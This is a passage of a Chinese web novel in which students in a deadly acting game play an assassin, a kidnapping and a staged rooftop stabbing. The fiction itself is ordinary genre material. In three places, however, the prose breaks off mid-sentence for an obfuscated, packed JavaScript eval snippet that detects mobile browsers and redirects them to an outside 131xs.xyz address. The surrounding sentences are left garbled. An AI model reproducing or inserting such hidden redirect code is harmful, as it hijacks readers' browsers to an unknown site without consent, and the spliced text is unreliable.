“一直在我这里。”应如观回答。他的面容仍是那样沉静,甚至眉心红痣为他点上一抹慈悲,谁也想不到他刚刚让另一个人血溅三尺。 “很好。有个新委托,你有兴趣吗?” “具体情况是?” “一个女孩。” “我不接这种委托。” “听我说完。我没叫你杀她,不过她脑子里有份对我们来说很重要的情报,你把这份情报挖出来就行。” “太麻烦,不接。” “接了这个,你欠我们的债就一笔勾销。” 这句话后,应如观沉默良久。直到他走进家中,四周无人,他才说:“资料发过来。” 另一边满意地挂断了。应如观手机“叮”一声,邮箱收到了新的邮件。 他点开文件夹。第一页上写着目标的名字:徐青木。 照片里的女孩微微侧脸,看向镜头,眼神冷漠。那赫然是舒觉的脸。 ***** “应医生演技好厉害。”应如观一出演绎,便听到舒觉赞叹。剧里要扮演他的目标的女孩坐在沙发上,显然刚刚一直在看他的表演。 “没有的事,不过是这个角色和我比较像而已。”应如观说。 舒觉作恍然大悟状:“的确,他也是个法医呢。话说后面您把人干掉那里,好帅啊!” 应如观笑笑,不多做解释。舒觉继续感叹:“不过这个角色,不是您还真难演得了。需要的专业手法太多了。” 应如观并没有多想,以为她是在说前面一段拍摄尸体解剖的长镜头。“这个确实。不过毕竟只是演戏,就算不专业,在上面划拉两下应该也可以。剧本里没有强制要求要怎么做,只写了【解剖尸体】这四个字。” “原来是这样。”舒觉眯起眼睛,但仍然保持一点微笑,“虽然是演戏,不过应医生杀人的时候好干脆,有什么诀窍吗?” 似乎是觉得这句话有些怪异,她又补充一句:“说不定我以后也要演类似的情节,怕到时候害怕下不了手。” 应如观这才明白,她的“专业手法”是在说什么。他不动声色,只是简单道:“剧本上都会写指示的,按着那上面来就可以,比如说怎么闪避,怎么挥刀。也不用害怕,那些人虽然看起来真实,其实都只是一段投影,不是真的。” “原来那个人不是真人?”舒觉语调惊讶,“我还以为是哪里找来的群演之类的。” 应如观摇摇头,“不是。刀碰到的时候就知道了,完全不是活物的感觉。” 舒觉说:“那我就放心了。面对真人,怎样都还是很难下手。” 应如观拿起自己的杯子,往里面注入温水,他说:“希望事情不会走到那一步。” 舒觉只是微笑。她并不应答。 ***** 晚饭后,为了解决心中一些模糊的疑问,舒觉打算和应如观再聊聊。 所以现在,她正在前往泳池的路上。舒觉一边在泳池边小屋里更衣,一边暗骂“幕后”给的语音文字转录太烂。她刚刚只是刚好看着苏彦那边,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422003|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然就算她在“看着”了,没给她把声音转成文字。 如果不是有人发了消息提醒她,她完全不知道苏彦说了话,更不知道他说了什么。要是这个使用规则定得那么死的话,她听不见这件事恐怕也瞒不了多久了。 她从更衣室里踩水走出去,就看见长方形泳池里一道飞影游动,如同利箭破开水面。应如观正游向泳池对面,姿态矫健优美,浅薄的月光落在他沉浮的身躯上。 舒觉等到他触到边,握住边缘暂时休息时,才刻意拨出巨大的水花声,落入水中。 应如观当然注意到了这边,他摘下泳镜箍在额前,舒觉面前字幕滚动:是舒觉吗? “是我,应医生。”舒觉答着,她也没多寒暄,扎入水中,以标准的自由泳姿势游到应如观那侧。待她浮出水面后,她看见应如观还在,眼神温和,嘴唇一张一闭:你游得很好。 “应先生也很厉害啊。您应该经常游泳吧。” 之前——大学之前确实游得挺多,到清源市后就游得少了。 面前的字幕如是写着。舒觉心中一跳,先前模糊的预感被对应上了。“您不是清源市人吗?” 不是。我是南方人。 “我也是。”舒觉知道,赌一把的时刻到了,编好的谎话张口流出:“我是参水市的,应医生呢?” 她看到他的眼睛因为意外略略张大。他说:我也是。 参水市,繁华与科技的代表,著名的犯罪之都,夸张点说一条大马路上可能就走着三个职业杀手。舒觉选择这座城市,是因为她在南方城市里只有这座比较了解,不至于一问就露馅。 但她也没料到,应如观居然就来自这座繁华与狂乱相差无几的都市。是什么让他逃离了那里,来到几千公里外的清源市? 她这边在思绪飞转,应如观继续道:你也是吗?听不出有那边的口音。 “我老家在参水市,也就每年过年回去。主要还是在冀湖市住。”舒觉继续面不改色地扯谎,“说到口音,应医生也完全没南方口音啊。” 我改掉了。而且我也在在清源市住了很久,早就被同化了。应如观回答她。接着他笑了一下,神情仿佛有点怀念。想起来,我也很久没回去了。 舒觉没问为什么。现在还不是能问这个的时候。相反,她说:“我之前有朋友说想去那边玩,问我有什么防身建议之类的,但我毕竟不是在那边长大,也不太了解规矩。您有什么好建议吗?” 应如观仔细思考一下,说:不用太担心。只要你的朋友不靠近明光区,基本就不会出事。那边的杀手原则上不能对普通游客下手,不仅拿不到好处,还会被明光区封杀。除非,你的朋友先触犯了本地默认的规矩。 舒觉维持表面恰到好处的尊敬和好奇,“原来是这样。具体有什么规矩呢?” 比如说不要多管闲事。应如观说,明光区的人很重视“责任”。你可以在明光区做任何事,前提是你负得起这个责任,后续不论发生什么,你都不会有后悔的机会。 舒觉频频点头应和。应如观又讲了一些需要重点注意的地方,两人便沉默下来。半晌,舒觉决定切入正题。她说:“应先生。” 对方看她,示意自己在听。舒觉斟字酌句,慢慢讲道:“按照这个【白日堂皇】的发展,我想,很有可能后面会有我们的对手戏。” 应如观等待她的后文。“如果,那时候剧本需要您杀了我——” “您打算怎么做?” 17. 第 17 章 【某月,某日,冀湖大学城“青云得路”咖啡厅】 “你找我什么事?” “不能只是想和你出来玩?” “一般约人出来玩不需要辗转多人才能拿到别人的联系方式。” “好好。该怎么说呢……唔……” (从吸管喝饮料的声音) “你如果只是闲得无聊,想向我展示一下你调查别人的技术,那我就先走了。” “别走!别走!我就是想问问,你有没有一种,呃,感觉?” “什么感觉,劫后余生的感觉?” “不,是‘失去了什么’的感觉。” (一段沉默) “看你的表情,我说中了。我们是一样的。在那轮演绎里,我们丢失的不只是某个器官的某个功能……” “某种‘感觉’不能作为依据。不过……嗯。我可以告诉你一件事。” “我在听。” “自从回来之后,我开始记不住一些做过的梦。” “……我原本想说这很正常,但放在你身上,好吧,似乎的确有些不对。超忆症原来是可以连梦境都记得住吗?” “至少我可以。但回来之后,我似乎频繁在做一些相似的梦。场景是我们在被圈禁演绎时住的那栋宿舍楼的客厅,或者图书馆、公园。总之,就是我们待过的那个地方。” “相似在于?” “人物好像总是相同的。我,一个记不清样子的人,有时候会有你和其他那几个人。” “记不清样子的人?” “Ta总是出现。但我看不清Ta的脸,醒来也不记得梦境是什么内容。只是感觉……或许是个好梦。” “好梦,嗯。这倒挺意外。我以为在舞台内外发生的都尽是些让人不想回忆起来的事。不管是对你还是对我来说。” “我不否定这个说法。但那些梦的感觉,不像噩梦。至少我还没被吓醒过。好了,我说完了,你那边有类似的迹象吗?证据太少的话,我连自己都无法说服。” “我是没有的。但我经常只凭感觉走,目前还没错过。” “那你的‘感觉’告诉你要怎么走?” “我们应该回去。再来一次。” “——再来一次,那登上舞台的、身不由己的演出。” ***** 听到这个问题,应如观愣了一下,但并未显得特别惊讶。看来,他也对后续的演绎内容有所猜想。毕竟已经工作多年,心思比他们这帮大学生更缜密也是常事。 没等多久,舒觉便看到这位法医说:“如果剧本要求的就是【将徐青木杀死】,那么,我会照做。” 简单有力的回答。舒觉并不会对此感到不快,即使她会在演绎里遭受血光之灾。“那我就放心了。毕竟,我也不想看到您因为心软被惩罚。” “这样说来,你没问题吗?这种情况里,应该被杀的人才比较不好受吧。”应如观说着,面上的担忧不似作假。 舒觉笑了笑,“我没关系。毕竟只是痛一下,演戏结束后就好了。” 在她看来,杀人比被杀更需要心理准备。你要主动地对某个人出手,所承受的心理压力和需要的决心,在那一刻会超出你的想象。 在上一轮中,就有演员第一次面对这样的情况时无法作出决定,因此被惩罚。即使后来她重演了本段剧情,但亲手刺杀了某个【演员】、某个她认识并且就在她身边的人,还是让她产生了巨大的心理阴影,很长一段时间都无法走出。 不过,她相信应如观不会如此。他不像会被这种类型的表演动摇的人。 “如果真的出现这种要求,我会尽可能减少你的痛苦,完成这段表演。”应如观忽然这样说。他看着舒觉,姿态诚挚,在月下犹如佛前来普度世人。 舒觉答道:“那我就更放心了。” 她把话题拉回安全的地方:“话说三水市,原来那边的杀手不会对外地人下黑手啊。那我和朋友去逛的话,就敢在外面玩到十二点再回家了。” “还是不要那么晚回去比较好。你父母会担心的。” 他有点哭笑不得的样子。舒觉回道:“开玩笑的。我知道的啦。” 她对应如观微笑。对方神色微微恍惚,忽然说:“我有个妹妹。” 舒觉并不意外。她看着他继续说:“如果她还在的话,应该也大学毕业了。” 这就由不得她不意外了。舒觉面上一肃:“抱歉,让您想起伤心事了。” 应如观垂下目光。他说:“没关系,这不是你的错。她已经过世很久了。” 顿了片刻,他坦然道:“我们父母在我十五岁的时候去世了。一直以来,我们相依为命,我以为一直会这样。” 也许,这才是他一直没回去的原因。舒觉思忖着,小心翼翼发问:“是因为……?” “……意外。”应如观沉默片刻,这样说。 他明显不愿往下说了。舒觉明事理地打住,转向他处,“若能看到您事业有成,生活安稳,想必她在天有灵也会含笑守望吧。这样说来,虽然我们叫您医生,但法医和一般医生还是有很大不同吧?” 应如观神色恢复与平常无异,他说:“有都要学的部分,也有差别很大的地方。比如说……” 他忽然闭口,转而显出倾听的模样。舒觉还未来得及翻译,眼前字幕与应如观便同时说:舒觉!/“有人在喊你。” 一时不知该处理哪一边,但舒觉还是条件反射般回头。不远处的公园小径上,隐隐显出一个身影。 世界静寂,他在月光下向她飞奔而来。 那人越来越近,轮廓也越发清晰,祝时明气喘吁吁地在泳池边停下,张口就是:“你没事吧?” 这句话直把舒觉问懵了。她难得卡壳,半晌才说:“啊?” 那厢应如观却悟了,他打量两人,目光透出明了和饶感趣味。随后他双臂一撑池沿便翻身上去,含笑道:“那就不打扰你们了。我先走一步。” 什么打扰?什么你们?舒觉百思不得其解,直到看见祝时明追着应如观的眼神,有如警惕洪水猛兽。 一时间,被误解的无语、他居然能往这个方向想的好笑、套话被打断的烦躁,各种情绪混杂在一起,舒觉忍不住,无意识提高了音量喝道:“你脑子里到底在想什么?” 话一出口她才感觉不合适,以他们俩的关系,还不到能这样厉声的地步。然而祝时明毫无不悦之色,他反而半蹲下来,嘴唇小幅度动了几下:“我怕你有危险……” “我能有什么危险?”舒觉已经平复下来,她笑着反问他。祝时明一时语塞,不知该如何说明,半天也只是嗫嚅出几个字:“就是……” 看他就蹲在泳池边缘,舒觉不禁起了将他一把拉下水的坏心思。随后她猛地摇摇头,现在可不是开这种玩笑的时候,他们也还没到那么亲近的程度,这么做并不合适。 ——不过她隐隐感到,就算她这么做了,祝时明也不会和她生气的。 一线月光透过树叶间隙,洒在他的头发上。在虚假的夜空下,他金棕色的虹膜仿佛一盏明灯,始终坚定不移地燃烧、明亮,尽管微小,却不可忽视。 舒觉恍惚了一瞬。她莫名觉得熟悉,却不清楚这种感觉从何而来。她放弃思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444777|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考,只是说:“别担心,我不会有事。” 祝时明呼吸一窒。他飞速眨了几下眼睛,说:“嗯。” 舒觉也没有游泳的兴致了,她对他伸出双臂,“拉我一把。” “诶?啊!哦……”祝时明盯着她的手臂,一时间方寸大乱似的,好半天才握上去,力道温柔地向上拉拽,小心得像对待棉花娃娃,一用力就会把胳膊拽断似的。 舒觉也不指出这点,顺着这股力跃出泳池。她拿起放在一边的毛巾,一边擦拭身体一边向更衣小屋走去。 祝时明跟在后面,直到舒觉转头,难得坏笑着问:“你要看我换衣服吗?”他才反应过来,这次是真的脸红到耳根,几乎头顶冒蒸汽,慌乱得不成样子,摆手摆出残影,“没没没没没没没我没这个意思!” 舒觉朗声大笑起来,心情终于好起来。这份愉快一直持续到他俩回到宿舍楼,打开门对上在那边玩游戏的三人为止。 “哟,小明,你的脸怎么这么红?”曲语冰头也不回,直接甩出这一句砸到祝时明脸上。 不过,祝时明倒也没那么好骗了:“你看都没看就能知道,后脑勺长眼睛了?” “哇哦,小明居然也会这么毒舌!”曲语冰大声感叹,此刻他终于转头,视线来回在两人面上打转。他露出揶揄的表情,对乔木说:“看来这场约会很成功。” 祝时明条件反射反驳:“别乱讲。我只是出去看一下她在哪里。” “哦,那就是约会了。”说着,曲语冰捅捅乔木,被后者避开了,“你是有经验的,你觉得这算不算约会?” “这挺好的。”乔木给出一个模棱两可,仿佛什么都回答了又什么都没回答的回答。曲语冰就当他是肯定了,大叫道:“你看,专业人士都这样说了!你就别否认——” “是啊我们约会了,没人能约会的单身狗就哭去吧。”舒觉微笑打断他,随机她对祝时明说:“我先去休息了。晚安。” 曲语冰识相地闭嘴了。女孩又和乔木、苏彦分别道别,就要上楼去。 此人又管不住自己嘴似的:“诶,为什么你只不和我说晚安?” “你需要吗?每天不知道干什么到天都亮了才睡的家伙,还需要晚上安宁?”舒觉甩给他一句,就上楼了。祝时明跟在她身后。 确认两个关门声后,苏彦忍不住说:“你就少说两句吧。” 曲语冰伸了个懒腰,“没事啦,他们都是好人,不会计较的。” 他笑意盈盈,仿佛早已预测一切。乔木说:“我也要去睡了。” 苏彦也差不多。于是棋局结束,乔木强硬地赶走两人,自己收拾。在他看来,无论谁来整理都达不到他的标准,不如他自己做。 苏彦先上去了。曲语冰留在客厅看他收拾,这时候,他反而收敛了玩笑神色,说:“他真的只是一见钟情?” 乔木将棋子一个一个排序放好,头也不抬说:“不排除有这种可能。” 曲语冰没说话。他大概是在担心舒觉会受此影响,进而影响他们的计划。乔木把飞行棋盒子盖上,说:“就算真的会有一个人的感情被玩弄,你觉得那个人会是她吗?” 他没有指名道姓,但两个人都知道是在讲谁。曲语冰凝视着他手指动作,语调仿佛漫不经心:“你别看她那样,其实很纯情的。” 乔木很怀疑这一点,但他不想和曲语冰争辩。他说:“无论如何,至少你应该相信她不是会因为私人感情而动摇判断的人。” 闻言,曲语冰表情古怪地笑笑。他说:“我们中有哪个人,不是因为‘私人感情’才又进来这里的?” 乔木无话可答。 18. 第 18 章 我很快确定了几个人选。 下一轮要被选进来演员一共是七个,他能自主选择的有五个,还有两个由投资方来决定。不管他们是想解决自己的竞争对手,还是真有人闲得无聊想来体验刺激,总之会给到他们一至两个名额,来对这轮演绎进行干涉。 很少有人不会被诱惑。“可以实现一切心愿的桃源乡”,只要按照规则,乖乖演戏,他的确能够实现绝大多数愿望。 不过,仍有他无法做到的事情。 但那甚至算不上一个弱点。只要这个世界没出现魔法,任何存在都做不到那种事吧。 他说五个人选可以由我决定四个。我当然是要参加这一轮演绎的,不过除此之外还会有七个人,其中很大一部分将会由我来选择。 几乎没多想,我就确定了J和Q。他们是曾经亲口说过,要回来、再把我带出去的人。我当然会把赌注压在他们身上。否则我还能信赖谁呢? 而且,他们都在上一轮失去了一项器官功能。如果顺利,如果有可能,我希望能在这轮里帮他们拿回来。他也承诺,如果真有一个人能想起我,记起我曾经存在过,他可以把他们被剥夺的器官功能都还回去。 至于剩下三个人……我需要再想想。我的家人?似乎是一个很大的希望。毕竟他们是这个世界上与我最亲近的人。 这应该是最优选。 那我又是在因为什么而不安? ***** 【剧目:堕天】 【演员甲:洛珠】 【演员乙:曲语冰】 洛珠紧紧咬住牙。 她正站在狂风吹拂的楼顶。废弃钢材互相叠搭,构成奇形怪状,扭曲的缝隙箭仿佛藏着无数幽魂,每当风一吹过,它们便齐声嚎叫。 她并不恐高,但面前状况已经超出她的能力:曲语冰身着校服,双手插兜,姿态随意地站在她面前。他念台词:“做得不错嘛,能追我到这里来。” 洛珠一瞥光幕,努力稳住语气,但一点咬牙切齿的意味都表演不出来:“你、你凭什么敢这样轻松!你以为这只是个玩笑?你以为、你以为我不敢——” “不敢把我从这里推下去?或者不敢用你手里的东西?还是说——”曲语冰拉长调子,声音嘲弄,“你连审判我都没有勇气?” 洛珠僵住了。她右手中是一柄水果刀。常见的款式,哪里都可以买到,是一种方便的伤人武器。她把手背在身后,企图掩饰那份颤抖。 即使害怕得想转头逃跑,她仍必须念出台词、完成表演。“住嘴!今天、今天就是一切结束的时候!你休想逃跑!” 曲语冰打量她几圈,他忽然站定,张开双臂,眼角弯起,“好啊,我不逃。你想怎么做?” “道歉!为你一直以来对我做的事、道歉!”她嘶喊,仅仅处于恐惧,而非剧本描绘的愤怒,“还有那些被你伤害过的同学,你也要道歉!” “嗯,对不起啦。我不该做那些事。”曲语冰说,用他平日就会有的轻飘飘的语气,“我道歉。” 洛珠愣住了。她连把台词念下去都差点忘了,但这个反应也算合理,并未被判定拒绝出演。 反而是曲语冰行云流水一般接下了剧情。“我不该说你是个小偷,不该联合其他人孤立你,不该往你的饭盒里放虫子、往你的作业本泼墨水、往你的鞋子里放订书钉。” “当然,对其他人做的事也不应该啦。对不起。”他仍带着点笑容,看上去和平时的曲语冰没有太多区别。洛珠醒转过来:对,这一切都是演戏,只是演戏而已。她不是被欺凌的那个女生,曲语冰也不是霸凌他人的混蛋。 她心中稍定,继续念出台词:“你——你——这就完了?你觉得这就够了?” “我道歉了呀。”他摊摊手。 “你这个——混帐!人渣!畜生不如的东西!你就这种态度?你以为你是在干什么?这也算道歉?” 曲语冰看上去还想说什么,但洛珠快速念出台词打断他:“闭嘴吧!我不想再听你的狡辩了!每次都是这样、每次都是这样——” 面前光幕滚出新一轮指示。洛珠看过去,霎时,她僵在原地。 ——【许馨】将水果刀捅进【王天枫】身体,并将他从高楼推下。 许馨是她,王天枫是曲语冰。也就是说,她要捅曲语冰一刀,并将他推下天台。 她无意识地倒吸一口气。手中的水果刀冰冷、沉重、锋利,是她无法使用的东西。她?要拿这个?捅另一个人一刀? 曲语冰站在原地没动。他看着她,眼神示意她行动。洛珠犹豫地向前走,她缓慢从背后亮出刀子,神色惶恐、茫然、暗藏惊恐。 她细声说:“我、我要捅了哦。” 曲语冰点了下头。他仍然神情自若,姿势放松,仿佛下一秒不是要被捅一刀,而是要和她来个拥抱。 他为什么能那么轻松?洛珠无法读心,不知道他想法。但要是她做受害者,绝不可能这个样子。 她试探性将手前伸。狂风呼啸,阴云四散奔逃,青亮刀刃在日光下炫目地折射,尖端触到曲语冰的衣服。他依旧是毫无防备,等待被剖开的姿态。 再往前。柔软的皮肉微微下限,回弹的力道通过刀尖传到掌心。下面是脏器在鼓动。那大概是胃,洛珠高中的时候学过生物。 用力。那会有怎样的后果?洛珠想起自己偶然看过的电视剧:白亮亮的锋刃没入皮肉,转动,血肉被搅动的黏腻声音像糖浆煮沸搅拌,再慢慢拔出来,湿淋淋的红色喷洒一地,混合着不知是什么脏器的黏连,刀子上挂满小虫子般的红白肉。 她想吐。但呕不出来。她想握紧右手,却只感到指缝逐渐松脱,塑胶刀柄仅凭摩擦力还存留在手中。 她能感到曲语冰在注视着她。目光平静,并不包含任何倾向,他任她宰割。 但正是这目光让她头晕目眩。洛珠死死咬住牙,深沉的地方反复一个声音催促:快动手!刺伤他!你要完成演绎,才不会被惩罚! 惩罚。洛珠恍惚地想起,似乎是要夺走她身上的什么东西。那一定很恐怖。她不想要。 但是、但是…… 这怎么可能做得到? 一个和你无冤无仇、同吃同住的人,你要怎么样才能拿着武器,割开他的身体? 如果这并不是假的怎么办?如果她伤害了他、但演戏结束后一切并没有还原怎么办?如果他死了怎么办? 说到底,谁能保证这一切会有结束的时候? 不行。不行。不行。我不行。 我做不到。 洛珠剧烈颤抖着。下一刻,那把刀子坠落,在地面弹动一下,跳开。“铛”的一声,如同子弹击中两人。 洛珠颓然跪倒在地。 同时,曲语冰也看到了下一幕的指引。他叹了声气,随着她动作蹲了下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459094|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他把她的脸抬起来。那是一张抽泣不已,皱成一团的脸。洛珠惊恐地看着她,好像他才是那个要拿刀捅伤别人的人。 他动作轻柔,但固定住她的面颊,迫使她看向自己。他说:“你要拿出勇气来。” 他又很小声地快速说了一句:“我们可是在演戏啊。不要忘了。” 曲语冰捡起地上的水果刀,塞进她的手心。他拉着她站起来。 他们都看不到,但在旁观者看来,他们双手紧握,如同即刻要在这高空边缘跳一支舞。而舞曲的终止符是一方的死亡。 已经没有台词了,提示的光幕静止在他们面前。没有任何预兆,曲语冰握住洛珠的左腕,猛地一拽! “咕嘟”一声。洛珠低头一看,只剩刀柄露在他衣料外头。 她再抬头,曲语冰面色苍白,嘴唇抿紧。他居然一声惨叫也没发出来。 他说:“再见。” 曲语冰再度轻轻拉了一下她的双臂,这样看上去就像是她把他推下去。 他的鞋底磕了一下边沿的尖角。曲语冰望着她,似乎微微笑了一下。 他的手松开,向后倒去,消失在洛珠视野中。 洛珠条件反射向前奔去,那把沾满血的水果刀还握在手中。她向下看。 血色划开她的瞳孔,曲语冰坠落的轨迹,正如审判自天而临。 ***** 眼前一花,洛珠眨了下眼,明亮温暖的灯光洒落在她身上。她回到了宿舍楼的客厅。 狂风仿佛还在耳际,曲语冰微笑着坠落的身影挥之不去。洛珠颤抖地举起左手,用尽全力张合几次,其中没有黏腻的血液,没有浑浊的刀刃,什么也没有。 但那种感觉萦绕不息。洛珠骤然站起,冲到卫生间,猛地甩上门。她打开水龙头,不断冲洗着自己的左手,在毫无污渍的皮肤上用力搓洗。 直到整个卫生间都充斥着洗手液的香气,她才擦干净通红的左手,走出来,跌坐在沙发上。 这时她才注意到,四周空无一人。原本常踞客厅的乔木也不见踪影,空气里只有空调呼吸冷气的声音。太安静了。 曲语冰。这个名字像一道电光闪过她的脑海。他为什么不在这里? 所有最坏的可能一起浮现,如同海潮催垮了她。洛珠双手捂住脸,崩解般哭泣起来。 她已经丧失对时间的概念,直到一道声音落下:“嗯?你在这里啊。” 那是她最后听到过的音色。洛珠抬起脸,朦胧泪眼间,曲语冰正站在楼梯上,端着一个杯子,神色一如往常。 她张嘴,却什么也说不出来。压在头顶的巨石一瞬间化为沙砾,流散消逝,洛珠只感到一阵虚无。 随着曲语冰的走近,她也逐渐看清,对方身上毫发无伤,面色也并不苍白寡淡,他看上去就像个身体正常的人,还能活上不少年。 此人甚至穿着oversize的T恤和宽大裤子,一身睡衣似地走下来了,脚上也是趿着一双拖鞋。曲语冰把杯子放下,走到洛珠跟前,开玩笑似地说:“好啦,别哭了,我这不是还活着吗。” 他不说还好,一说洛珠又泪水溃堤了。她呜咽着,想找出一句合适的话——也许是庆幸,也许是道歉,她自己也说不清那是种什么感觉。 不过,不需要了。她似乎听到曲语冰轻叹一声,随后,一个温暖的东西凑了过来。 他伸出双臂,抱住了她。 19. 第 19 章 【剧目:白日堂皇】 【演员甲:姜满】 【演员乙:舒觉】 【演员丙:应如观】 昏暗室内,舒觉正跪坐在地上,面前散落着一沓信件,她在其中翻找、阅读、又匆匆丢弃。 肮脏的墙面和天花板沉默监视着她。她面无表情,但牙齿不自觉咬住嘴唇,暴露了内心的惊惧。那些陈旧的信纸在她手指间川流而过,字迹清晰地印刷入她脑海里。 半晌,她叹了声气。“不在这里吗?还是……” 她喃喃自语,又拆开一个信封读了起来。面前的抽屉还有一本相册,她并未打开。 突然,手机铃声打破了一室寂静。舒觉把手机抓过来,来电显示是“张警官”。 她脸上顿时露出不耐烦的神色,但还是划开了接听键。为着方便她开了扬声,姜满的声音立刻传出来:“怎样?你找到线索了吗?” “没有。”舒觉顿了一下,语气终于还是透出嘲讽,“你们警方筛查了几百遍都没漏洞的东西,再让我来看也是白费功夫。” “好吧,我这边也没进展。有消息再联系。” 女孩把手机扔到一边被褥间。她拿起相册,一张一张慢慢看过去。忽然,她在其中一页停下,抽出那张照片,对着顶上泛黄灯泡渗出来的光,细细查起来。 女孩清隽的后背在地上拉出一道长影。逐渐,另一个影子慢慢盖了上来,一点一点交织在一起,扭曲成诡诞的形状。 舒觉似有所感,她放下手,正要转过头去—— 一记钝响。女孩向前栽倒在床铺上。应如观站在她身后,双手握着球棍,刚刚才放下。他穿着一身黑衣,帽子压得很低,戴了口罩,看不清什么表情。 他扫视一圈舒觉身周,照片、信封、旧纸凌乱地堆叠在一起,泛黄的字迹密密麻麻流淌在他眼中,一时难以判断什么才是重要的线索。但这不属于他接受的委托范畴内,应如观便没有去管,放任自流。 只是,舒觉最后抽出的那张照片吸引了他的视线。他小心地走过去,套着塑料袋的鞋子沙沙作响。他捡起那张照片,模仿舒觉的动作,对着暗淡的顶灯,查看起来。 片刻后,应如观将那张照片塞入口袋。他弯腰,一把抱起舒觉,走了出去。 ***** 舒觉从演绎中回来,首先摸摸后脑勺。她刚刚在戏中被应如观扮演的反派敲了一闷棍,完全不是能说不痛的程度。效果是肉眼可观的:那一棒下去她直接倒地昏迷了。 “你还好吧?”祝时明问。他坐在她身边,两个人四周是散落的日光,透过头顶的树荫,星星点点落在地面。 舒觉放下手,叹口气:“还好。演完出来就没感觉了,只是还有被敲了一闷棍的印象。” 祝时明顿了一下,随后才说:“那确实挺吓人的。” 他们原本坐在公园里,享受附近小摊售卖的冷饮。最近调查陷入了瓶颈,天天泡图书馆也没找到什么线索——不仅是指向幕后凶手的,关于四十年前,和这个剧场有关的事件,到现在他们也无法确定究竟是什么。 因此,舒觉决定放个假。祝时明则是她在公园里碰上的,两个人就走一起了。通常来说,她并不是很喜欢身边有人,但祝时明是个能够沉默的人,即使不说话两人也不会尴尬。实际上,她还挺享受他的陪伴。 好像从一开始,她就对他印象很好。真是奇怪。她已经习惯了默认所有初次认识的人都心怀恶意,但看到祝时明的时候,她居然从未如此觉得。 “如果可以,我希望你能忘记。”思索间,她听到祝时明这样说。 舒觉诧异地望向他,“为什么这样说?”他不可能知道她有超忆症。她从未讲过。其他知道的人也不会多嘴。 她立时提高了警惕。祝时明愣了一下,有点紧张地说:“呃,毕竟,你记忆力很强。” 他又解释道:“之前我们在一起查找资料,明明只看了一次那卷资料的标题和位置,隔了一段时间我提起来的时候,你马上就能说出来。当时我就觉得,你的记性也太好了。” 舒觉说:“原来是这样。”她放下心来。 祝时明看上去也松了口气。他说:“好像同时段还有一组人在演戏。要不要看一下?” 正在演绎的剧目是可以实时观看的,但结束后就会关闭,所以,想要观察他人在演绎中的表现只有这个时段。在演绎开始的时刻,会同步向所有人的手环进行通知,强制弹出,不必担心会错过。 “是谁在演?” “曲语冰和洛珠。” “那看看吧。”舒觉说,“用你的手环。” 祝时明点开光屏,调整到他和舒觉都可观看的模式,开始放映那两人共演的剧目。 为了看得更清楚些,舒觉靠了过去,祝时明注意到她的动作,把光屏移过去一些。 这种时候他又完全不紧张了。倒不如说,看上去相当习惯。她大概永远也搞不清他的距离感是如何判断。 那刚好是洛珠与曲语冰在天台对峙的片段。由于舒觉刚刚才回来,他们只赶上了末班车,先前那两位已经演了快四十分钟。 一次演绎也差不多是这样的时长。两人沉默地观看这场表演,直到洛珠松开刀柄、跌坐在地,祝时明才说:“糟了。” 他语气严肃,眉头紧拧,是真切地在担忧。舒觉看了他一眼,不由自主说:“还没警告,她还有机会。” “我担心她做不到。”他简短地说。而后续也如他所料。曲语冰拉着洛珠的手刺向自己、再从天台边缘落下,全程都是他在主导,洛珠不需要做出任何抉择。 “他救了她一次。”舒觉看着演绎画面关闭,评价道。她面容平静,语气镇定,心中并无太大波动。在她看来,曲语冰的行为是出于不想受惩罚,因此他必须一个人推动,去将这场戏演完。 不过,论迹不论心。不管他是出于什么动机,他帮了她这个事实都不会更改。这也能更牢固洛珠和他们的纽带,是件好事。至于曲语冰,她清楚这点程度根本伤不到他精神分毫。 祝时明忽然站起。舒觉正疑惑,他转头对她说:“我们回去看看情况。” 虽然没能立刻理解,舒觉还是配合地起身。她说:“你也不用太担心——” “我不是说曲语冰。”他打断她,罕见地,“我是说,洛珠的状态可能不太好。” 舒觉反应过来,她跟上他的脚步。在他脸上,她看见焦急与忧虑,隐秘的愧疚。 这并不是说祝时明掩饰得不好。但她轻易读懂了他的心情。就像她曾经这么做过,在一次次猜测和验证中找到了正确的解法。 她摇摇头,将这段思绪抛到脑后。 ***** 舒觉走在祝时明前头,她先打开大门。然而进去第一眼就是沙发边相拥的两人。她高高挑起眉,脸上表情一时间难以言喻,硬要形容可说是介于匪夷所思和大受震撼之间。 祝时明随即进来,他先看到她的侧脸,不禁问:“怎么……”然后也看到了客厅里的那副画面。当然,与舒觉不同,他露出了宽慰的神情,仔细看甚至能看出感动。 舒觉用从未有过的小声说:“可能,我们回来得不太是时候。” 祝时明也小声回答:“我也觉得。” 